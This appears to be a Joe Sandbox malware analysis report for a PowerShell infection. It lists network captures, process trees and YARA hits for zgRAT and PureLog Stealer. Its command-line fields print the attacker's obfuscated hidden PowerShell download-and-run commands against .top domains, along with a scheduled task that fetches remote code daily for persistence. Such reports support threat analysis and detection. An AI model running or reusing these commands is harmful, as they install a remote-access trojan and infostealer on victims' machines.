AA^QoNAg^ABiUm^Ew0gA^AAAAH^4SAgA^Eex4C^AAQ6D^wAAAC^YgAAA^AADgE^AAAA/^gwOAE^UBAAA^ABQAA^ADgAA^AAA3T^/+//8^RBDqf^AAAAI^AAAAA^B+EgI^ABHvu^AQAEO^g8AAA^AmIAA^AAAA4^BAAAA^P4MCA^BFBgA^AAFAA^AABzA^AAABQ^AAAF8^AAAAl^AAAAF^QAAAD^hLAAA^A0BoA^AAYmI^AQAAA^A4zv/^//xc6^
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 53 5e 69 4f 64 58 70 5e 50 41 43 67 45 5e 41 77 41 47 4b 5e 67 41 36 4b 77 5e 55 6f 56 36 4a 5e 78 57 41 41 6f 5e 6f 77 4d 41 42 5e 69 6f 41 53 69 5e 73 46 4b 4c 48 5e 6a 42 6c 59 41 5e 2f 67 6b 41 41 5e 43 69 70 41 51 5e 41 47 4b 67 42 5e 43 4b 77 55 6f 5e 34 73 6b 78 56 5e 33 34 4d 41 41 5e 41 45 46 50 34 5e 42 4b 67 41 41 5e 41 44 59 72 42 5e 53 69 4c 48 42 5e 59 31 66 67 77 5e 41 41 41 51 71 5e 41 41 42 4b 4b 5e 77 55 6f 50 66 5e 64 79 4e 41 44 5e 2b 43 51 41 41 5e 4b 4a 30 42 41 5e 41 59 71 41 42 5e 4d 77 42 41 42 5e 6e 41 51 41 41 5e 42 41 41 41 45 5e 53 73 46 4b 47 5e 74 58 52 54 41 5e 67 42 41 41 41 5e 41 50 34 4f 41 5e 41 41 34 41 41 5e 41 41 41 50 34 5e 4d 41 41 42 46 5e 43 51 41 41 41 5e 41 55 41 41 41 5e 42 48 41 41 41 5e 41 36 51 41 41 5e 41 Data Ascii: S^iOdXp^PACgE^AwAGK^gA6Kw^UoV6J^xWAAo^owMAB^ioASi^sFKLH^jBlYA^/gkAA^CipAQ^AGKgB^CKwUo^4skxV^34MAA^AEFP4^BKgAA^ADYrB^SiLHB^Y1fgw^AAAQq^AABKK^wUoPf^dyNAD^+CQAA^KJ0BA^AYqAB^MwBAB^nAQAA^BAAAE^SsFKG^tXRTA^gBAAA^AP4OA^AA4AA^AAAP4^MAABF^CQAAA^AUAAA^BHAAA^A6QAA^A
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 5e 52 37 51 67 49 5e 41 42 44 6b 51 5e 2f 2f 2f 2f 4a 5e 69 41 45 41 41 5e 41 41 4f 41 58 5e 2f 2f 2f 38 52 5e 41 43 67 72 41 5e 41 41 47 4a 53 5e 59 54 42 43 41 5e 43 41 41 41 41 5e 4f 50 44 2b 2f 5e 2f 38 41 41 41 5e 41 54 4d 41 55 5e 41 63 51 45 41 5e 41 41 59 41 41 5e 42 45 72 42 53 5e 69 6a 62 7a 68 5e 6a 49 41 67 41 5e 41 41 44 2b 44 5e 67 49 41 4f 41 5e 41 41 41 41 44 5e 2b 44 41 49 41 5e 52 51 6f 41 41 5e 41 44 61 41 41 5e 41 41 46 77 45 5e 41 41 46 41 41 5e 41 41 41 46 41 5e 41 41 41 6b 67 5e 41 41 41 4c 59 5e 41 41 41 44 75 5e 41 41 41 41 47 5e 77 41 41 41 44 5e 63 41 41 41 42 5e 69 41 41 41 41 5e 4f 4e 55 41 41 5e 41 41 52 41 42 5e 38 6d 6a 43 63 5e 41 41 41 45 66 5e 4a 6f 77 6e 41 5e 41 41 42 4b 43 5e 38 41 41 41 59 5e 71 45 51 41 66 5e 4c 48 Data Ascii: ^R7QgI^ABDkQ^////J^iAEAA^AAOAX^///8R^ACgrA^AAGJS^YTBCA^CAAAA^OPD+/^/8AAA^ATMAU^AcQEA^AAYAA^BErBS^ijbzh^jIAgA^AAD+D^gIAOA^AAAAD^+DAIA^RQoAA^ADaAA^AAFwE^AAFAA^AAAFA^AAAkg^AAALY^AAADu^AAAAG^wAAAD^cAAAB^iAAAA^ONUAA^AARAB^8mjCc^AAAEf^JownA^AABKC^8AAAY^qEQAf^LH
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 6a 2b 2f 2f 38 5e 52 41 78 45 45 5e 4b 47 38 43 41 5e 41 59 6c 4a 6d 5e 6b 2f 79 66 2f 5e 2f 2f 79 41 4d 5e 41 41 41 41 4f 5e 46 33 2b 2f 2f 5e 38 52 41 41 4e 5e 2b 62 67 49 41 5e 42 43 68 4d 43 5e 41 41 47 4b 44 5e 41 41 41 41 59 5e 6c 4a 6a 70 73 5e 41 41 41 41 49 5e 41 30 41 41 41 5e 41 34 4f 76 37 5e 2f 2f 78 74 46 5e 41 51 41 41 41 5e 50 62 2f 2f 2f 5e 38 67 42 51 41 5e 41 41 48 34 53 5e 41 67 41 45 65 5e 30 30 43 41 41 5e 51 36 48 50 37 5e 2f 2f 79 59 67 5e 42 67 41 41 41 5e 44 67 52 2f 76 5e 2f 2f 47 45 55 5e 42 41 41 41 41 5e 39 76 2f 2f 2f 5e 79 41 49 41 41 5e 41 41 4f 50 33 5e 39 2f 2f 38 58 5e 4f 61 2f 2b 2f 5e 2f 38 67 41 77 5e 41 41 41 48 34 5e 53 41 67 41 45 5e 65 2b 67 42 41 5e 41 51 35 34 2f 5e 33 2f 2f 79 59 5e 67 42 51 41 41 5e 41 44 6a Data Ascii: j+//8^RAxEE^KG8CA^AYlJm^k/yf/^//yAM^AAAAO^F3+//^8RAAN^+bgIA^BChMC^AAGKD^AAAAY^lJjps^AAAAI^A0AAA^A4Ov7^//xtF^AQAAA^Pb///^8gBQA^AAH4S^AgAEe^00CAA^Q6HP7^//yYg^BgAAA^DgR/v^//GEU^BAAAA^9v///^yAIAA^AAOP3^9//8X^Oa/+/^/8gAw^AAAH4^SAgAE^e+gBA^AQ54/^3//yY^gBQAA^ADj
2024-09-30 16:58:37 UTC	1369	IN	Data Raw: 41 42 69 55 5e 6d 66 52 59 41 5e 41 41 51 67 41 5e 51 41 41 41 48 5e 34 53 41 67 41 5e 45 65 31 4d 43 5e 41 41 51 36 4a 5e 2f 2f 2f 2f 79 5e 59 67 41 77 41 5e 41 41 44 67 63 5e 2f 2f 2f 2f 41 5e 41 41 41 45 7a 5e 41 45 41 4f 67 5e 41 41 41 41 4a 5e 41 41 41 52 4b 5e 77 55 6f 51 37 5e 70 6e 53 79 41 5e 42 41 41 41 41 5e 2f 67 34 41 41 5e 44 67 41 41 41 5e 41 41 2f 67 77 5e 41 41 45 55 47 5e 41 41 41 41 6f 5e 41 41 41 41 46 5e 77 41 41 41 43 5e 4f 41 41 41 41 5e 4c 77 41 41 41 5e 42 63 41 41 41 5e 41 46 41 41 41 5e 41 4f 4a 73 41 5e 41 41 41 53 41 5e 51 4e 39 48 51 5e 41 41 42 43 41 5e 45 41 41 41 41 5e 4f 4d 7a 2f 2f 5e 2f 38 53 41 52 5e 38 4d 4b 44 30 5e 41 41 41 5a 39 5e 47 67 41 41 42 5e 43 41 44 41 41 5e 41 41 4f 4c 54 5e 2f 2f 2f 38 53 5e 41 58 77 62 Data Ascii: ABiU^mfRYA^AAQgA^QAAAH^4SAgA^Ee1MC^AAQ6J^////y^YgAwA^AADgc^////A^AAAEz^AEAOg^AAAAJ^AAARK^wUoQ7^pnSyA^BAAAA^/g4AA^DgAAA^AA/gw^AAEUG^AAAAo^AAAAF^wAAAC^OAAAA^LwAAA^BcAAA^AFAAA^AOJsA^AAASA^QN9HQ^AABCA^EAAAA^OMz//^/8SAR^8MKD0^AAAZ9^GgAAB^CADAA^AAOLT^///8S^AXwb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49724	162.159.135.234	443	8136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:41 UTC	187	OUT	GET /?v=9&encording=json HTTP/1.1 Connection: Upgrade,Keep-Alive Upgrade: websocket Sec-WebSocket-Key: 0h1HX+d4bLFaNYIrsTupkQ== Sec-WebSocket-Version: 13 Host: gateway.discord.gg
2024-09-30 16:58:41 UTC	612	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:58:41 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5t5gXkthIkgQZWWQwCczNmQmbGxiddKQM2myo9PGXpxLUu22LuY8NQZhUlpsHtp7vfKIoJISDOYTJCrNMyW0SMpVO3JGFxntGFzGAeMvor%2Bd5ELnlKkxj05pgz6%2BAU2v27VHLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8cb5c258ea3c4315-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49725	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:59:14 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+RXM+ul9gZsDE19&MD=3r6m3nSv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-30 16:59:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f942d7a8-254d-4f78-ad56-a6123ffd0bd1 MS-RequestId: f48d1eb4-0f5c-4dc6-a9bc-d5a6a60169bf MS-CV: sqvNj9r2MUGsszJ8.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 30 Sep 2024 16:59:14 GMT Connection: close Content-Length: 30005
2024-09-30 16:59:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-30 16:59:14 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	0
Start time:	12:58:17
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|Powershell
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	12:58:17
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	12:58:19
Start date:	30/09/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" www.nadra.gov.pk
Imagebase:	0x7ff789650000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:58:22
Start date:	30/09/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\nslookup.exe" www.yahoo.com
Imagebase:	0x7ff74a710000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:58:22
Start date:	30/09/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\nslookup.exe" www.protonmail.com
Imagebase:	0x7ff74a710000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:58:24
Start date:	30/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://pmo.gov.pk/site/404
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:58:24
Start date:	30/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:58:24
Start date:	30/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1916,i,14445282091827991487,7005601379036879201,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:58:26
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:58:28
Start date:	30/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f
Imagebase:	0x7ff6c2250000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:58:28
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f
Imagebase:	0x7ff6effe0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:58:29
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.EXE -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:58:29
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:58:33
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Function 00007FFAAC4963AC Relevance: 3.0, Strings: 2, Instructions: 520COMMON

Download Yara Rule

Strings

0W, xrefs: 00007FFAAC496670
6, xrefs: 00007FFAAC49664C

Memory Dump Source

Source File: 00000000.00000002.3902397772.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_powershell.jbxd

Similarity

API ID:
String ID: 6$0W
API String ID: 0-2121892255
Opcode ID: 99571302edaec71c961f56d74325faeed6351d703322d3b18eb7f7492c107295
Instruction ID: 415f81a21eaf330a7f78e93734a9ec0a6120a7ccaa248000ee3253ee33f6ccb5
Opcode Fuzzy Hash: 99571302edaec71c961f56d74325faeed6351d703322d3b18eb7f7492c107295
Instruction Fuzzy Hash: A7F15265A0D6568BF398A728C45A7B977C2EF96318F14C4B9D48EC72C3DD1EEC068381

Function 00007FFAAC560004 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3903243488.00007FFAAC560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac560000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257b5c91f827145ffddc9497be84f568bd3f53a666b79bdb47f0844f18430c08
Instruction ID: ae3deb2fd76a9bf56361a0926e61af42b98f7aebacdebce5bb421297ce1f011f
Opcode Fuzzy Hash: 257b5c91f827145ffddc9497be84f568bd3f53a666b79bdb47f0844f18430c08
Instruction Fuzzy Hash: 29B1D162A4E7C68FE75787688865560BFE4DFA7210B0D81FBD08DCB1A3D918DC0AC395

Function 00007FFAAC4948E0 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3902397772.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e23a14620b8f7f39f9c74cad8a8cde8f9862b1d28b8a32485721c0b13460632
Instruction ID: b1485e002362881a029b091eebfff68bcd0305d0651adcd4fa5fc8f1309ec667
Opcode Fuzzy Hash: 0e23a14620b8f7f39f9c74cad8a8cde8f9862b1d28b8a32485721c0b13460632
Instruction Fuzzy Hash: 9A51B457B496B20AE30173BCF8655E96B90DF82376708C2B7D2CDCE2A39C19144A83E5

Function 00007FFAAC5600DD Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3903243488.00007FFAAC560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac560000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aefa3e30122b462276e2e5fbc4a2dd9c01766e8fb88682a09030794554b3bc88
Instruction ID: ab91602ecb68527a2a390703578f50ed92c58cc3d2cdf2596c92ba657c3c5385
Opcode Fuzzy Hash: aefa3e30122b462276e2e5fbc4a2dd9c01766e8fb88682a09030794554b3bc88
Instruction Fuzzy Hash: DB410861A4D7C68FEB46DB1888905747FE5EFA7300B0D40EAD08ECB193D929EC49C791

Function 00007FFAAC4937B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3902397772.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: c3fc78ce1376581358e69b537636a6d64aa010f4b71a55928409f2bd5aca84b3
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: E201677111CB0D8FD744EF0CE451AA6B7E0FB95364F10456DE58AC3661DA36E882CB45

Analysis Process: powershell.exePID: 7616, Parent PID: 5140COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFAAC486D80 Relevance: 6.3, Strings: 4, Instructions: 1289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b4, xrefs: 00007FFAAC48C720
d, xrefs: 00007FFAAC48C594
b4, xrefs: 00007FFAAC48C63A
ZO_H, xrefs: 00007FFAAC48CA6D

Memory Dump Source

Source File: 0000000A.00000002.1475117820.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac480000_powershell.jbxd

Similarity

API ID:
String ID: ZO_H$b4$b4$d
API String ID: 0-431963657
Opcode ID: 8102de08337eb39c6496de25d57a70b537ac2b8ec213b8912dfddbe3cfbca293
Instruction ID: 985713b9916bc0d58493f1bd425f3d775106bc30dadffb56ff194693c135b1ae
Opcode Fuzzy Hash: 8102de08337eb39c6496de25d57a70b537ac2b8ec213b8912dfddbe3cfbca293
Instruction Fuzzy Hash: 08826872A1DA8A8FE759DB28C4596B57BD0FF46314B0485BED09FC7193CE28E8478780

Function 00007FFAAC48C93B Relevance: 1.7, Strings: 1, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ZO_H, xrefs: 00007FFAAC48CA6D

Memory Dump Source

Source File: 0000000A.00000002.1475117820.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac480000_powershell.jbxd

Similarity

API ID:
String ID: ZO_H
API String ID: 0-3138810398
Opcode ID: bac84709d5069c03b22ad8b422b8bbcd215f19edf15d5a8528c880f41134afbb
Instruction ID: ae351520fbb02ba462a98857bb3964f64488533fff1fcc4b8e73e111606b0b7f
Opcode Fuzzy Hash: bac84709d5069c03b22ad8b422b8bbcd215f19edf15d5a8528c880f41134afbb
Instruction Fuzzy Hash: 05E11862A1DA864FE749DB7C84696B97BD1EF96310B0485FED04FC72A3CD2898078784

Function 00007FFAAC48CA35 Relevance: 1.6, Strings: 1, Instructions: 361
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ZO_H, xrefs: 00007FFAAC48CA6D

Memory Dump Source

Source File: 0000000A.00000002.1475117820.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac480000_powershell.jbxd

Similarity

API ID:
String ID: ZO_H
API String ID: 0-3138810398
Opcode ID: f8692e64acc7fd4e36dc488086dc97a6fedccbb76c9712acbc997bb875025332
Instruction ID: 23cb18cdd41686b39a48d295fd3b8343f40cd61583686cde3123ab51b44e9cbf
Opcode Fuzzy Hash: f8692e64acc7fd4e36dc488086dc97a6fedccbb76c9712acbc997bb875025332
Instruction Fuzzy Hash: 53B12862A1DAC64FE759DB7C44696B97BD1EF86310B0885FED04FC72A3CD2898078384

Function 00007FFAAC48CA90 Relevance: .3, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1475117820.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac480000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 125f9ba6dc96aba6f61e8a4fa2cafe2775da0f0d8fce501532fd39758009ba0a
Instruction ID: 16dc09e1e1fbf8aec0f5b2c6202ecd8b3f9feb02c4d330ed90ea1f492f44726f
Opcode Fuzzy Hash: 125f9ba6dc96aba6f61e8a4fa2cafe2775da0f0d8fce501532fd39758009ba0a
Instruction Fuzzy Hash: CAA13662A1DAC64FE759DB7C44296B97FD1EF8A310B0884FED04EC72A3CD1898478384

Function 00007FFAAC48D4F9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 242
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FFAAC48D6CE

Strings

p[, xrefs: 00007FFAAC48D5B4

Memory Dump Source

